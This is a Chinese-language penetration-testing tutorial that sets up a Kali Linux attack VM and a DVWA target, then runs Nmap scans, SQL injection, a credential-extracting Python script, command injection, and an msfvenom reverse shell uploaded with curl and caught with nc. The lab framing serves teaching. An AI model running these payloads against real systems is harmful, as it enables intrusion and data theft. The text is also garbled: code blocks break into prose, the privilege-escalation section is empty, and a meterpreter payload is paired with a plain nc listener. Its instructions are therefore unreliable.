一、从“勒索软件”的新闻说起

2023年初,一场针对某金融公司的勒索软件攻击引发了广泛关注。这次攻击的核心在于,攻击者利用了一些未修补的漏洞,通过精心设计的Payload和后渗透模块,成功绕过了多种防御体系,最终窃取了大量敏感数据并发起勒索。根据安全团队的分析报告,攻击者使用的工具链中,Kali Linux 作为攻击平台的角色尤为显眼。

这让我们了解到,Kali Linux并不是神秘的黑客工具,而是一个为合法安全测试设计的渗透测试平台。今天,我将通过一个完整的实战案例,带你从零搭建攻击环境,并逐步完成一次全面的渗透测试,感受攻击者可能的手法与思路。

---

二、渗透测试环境搭建:一切从靶机开始

制作靶机环境:模拟受害者网络

为了模拟一个真实的场景,我们需要准备以下环境:

  1. 攻击机:运行 Kali Linux 的虚拟机,作为攻击方。
  2. 靶机:运行 Windows Server 2019 或 Ubuntu 20.04 的虚拟机,作为被攻击目标。
  3. 网络隔离:通过 NAT 网络,将两台虚拟机放在同一子网中,确保相互访问。

使用 VirtualBox 构建网络

我们使用 VirtualBox 创建虚拟机。以下是网络配置步骤:

  1. 创建 NAT 网络
  2. 打开 VirtualBox -> 偏好设置 -> 网络 -> 添加 NAT 网络。

  3. 配置 Kali 攻击机
  • 下载 Kali Linux 官方 ISO 镜像(确保更新到最新版本)。
  • 创建虚拟机并挂载 Kali 镜像。
  • 安装完成后,在 VirtualBox 的“网络”选项中,将网卡设置为“连接到 NAT 网络”。
  1. 配置靶机
  • 下载 Windows Server 或 Ubuntu 官方镜像。
  • 创建虚拟机并安装操作系统。
  • 同样将网卡配置为“连接到 NAT 网络”。

确保两台机器都能通过 IP 互相 ping 通,这是后续攻击的基础。

<pre><code class="language-bash"># 在 Kali 攻击机上测试连通性 ping 192.168.56.102 # 假设靶机 IP 为 192.168.56.102</code></pre>

如果网络正常,你应该看到成功的回显。

---

在靶机上部署漏洞服务

为了模拟一个真实的攻击场景,我们需要在靶机上部署一些常见的漏洞服务。

部署易受攻击的 Web 服务

黑客示意图

推荐使用 DVWA(Damn Vulnerable Web Application),它是一款专门用于安全测试的漏洞实验平台。

  1. 下载并部署
  2. <pre><code class="language-bash"> sudo apt update &amp;&amp; sudo apt install apache2 php mysql-server -y git clone https://github.com/digininja/DVWA.git /var/www/html/dvwa cd /var/www/html/dvwa/config cp config.inc.php.dist config.inc.php `

  1. 配置数据库
  2. 启动 MySQL 服务并创建 DVWA 数据库。 `bash sudo service mysql start mysql -u root -p

在 MySQL 控制台中执行以下语句

CREATE DATABASE dvwa; GRANT ALL PRIVILEGES ON dvwa.* TO &#039;dvwa&#039;@&#039;localhost&#039; IDENTIFIED BY &#039;password&#039;; FLUSH PRIVILEGES; EXIT; `

黑客示意图

  1. 启动服务
  2. `bash sudo service apache2 start `

现在,访问 http://靶机IP/dvwa,确保 DVWA 服务部署成功。

---

三、信息收集与漏洞发现:从侦察到确定目标

使用 Nmap 扫描网络

在渗透测试中,信息收集是第一步。我们将利用 Nmap 对靶机进行端口扫描,找出开放的服务。 </code></pre>bash

扫描所有端口并尝试识别服务

nmap -sV -p- 192.168.56.102 <pre><code> 结果可能显示类似以下信息: </code></pre> PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.0 80/tcp open http Apache httpd 2.4.41 3306/tcp open mysql MySQL 5.7.32 <pre><code> 可以看到,靶机开放了 SSH、HTTP 和 MySQL 服务,这将成为我们的潜在攻击向量。

黑客示意图

---

漏洞分析

  1. HTTP 服务
  2. DVWA 是一个包含多种漏洞的 Web 应用。通过目录扫描工具(如 dirb 或 Gobuster),我们可以进一步发现隐藏的目录或文件。 `bash dirb http://192.168.56.102 `

  1. MySQL 服务
  2. 如果我们能够获得数据库的凭据,可以尝试直接登录并窃取数据。

  1. SSH 服务
  2. 如果服务弱口令保护或存在已知漏洞,我们可以利用它直接获得系统权限。

---

四、漏洞利用:从SQL注入到远程代码执行

攻击 DVWA 的 SQL 注入漏洞

手动验证漏洞

通过浏览器访问 http://192.168.56.102/dvwa 登录后,在 &quot;SQL Injection&quot; 页面输入以下 Payload,尝试绕过登录认证: </code></pre> ' OR '1'='1' -- <pre><code> 如果漏洞存在,你应该能直接查询到用户数据。

自动化攻击脚本

为了提高效率,我们可以用 Python 编写自动化脚本,通过 SQL 注入获取数据库中的管理员凭据。 </code></pre>python import requests

url = "http://192.168.56.102/dvwa/vulnerabilities/sqli/" cookies = {"PHPSESSID": "your_session_id", "security": "low"}

注入语句,尝试获取管理员账户和密码

payload = "' UNION SELECT 1, user, password FROM users -- " data = {"id": payload, "Submit": "Submit"} response = requests.get(url, params=data, cookies=cookies)

if "admin" in response.text: print("[+] Injection Successful! Admin credentials found.") else: print("[-] Injection Failed.") `

利用 RCE 漏洞植入后门

在 DVWA 的“Command Injection”模块中,我们可以通过拼接命令实现远程代码执行。

  1. 测试漏洞:
  2. 输入以下内容: ` 127.0.0.1; whoami ` 如果返回当前用户名,则漏洞存在。

  1. 上传反弹 Shell:
  2. `bash msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=4444 -f elf > shell.elf curl -F "[email protected]" http://192.168.56.102/dvwa/upload.php `

  1. 获取反向 Shell:
  2. 在 Kali 攻击机上开启监听: `bash nc -lvp 4444 `

---

黑客示意图

五、权限提升与横向移动

在获得靶机的低权限 Shell 后,我们需要提升权限以获得更大的控制权。这部分内容将通过实际举例展示 Ubuntu 提权的过程,包括利用 SUID 程序或未修复的内核漏洞。

---

六、写在最后:攻击者与防御者的博弈

通过今天的实战案例,我们不仅了解了 Kali Linux 在渗透测试中的使用方法,还体验了完整的攻击链条。从攻击者的视角来看,漏洞的发现与利用是一场无声的战争,需要技术与耐心的结合。而作为防御者,理解这些攻击技术是设计有效防御机制的基础。

免责声明:本文内容仅用于授权环境下的合法安全测试,切勿用于非法用途!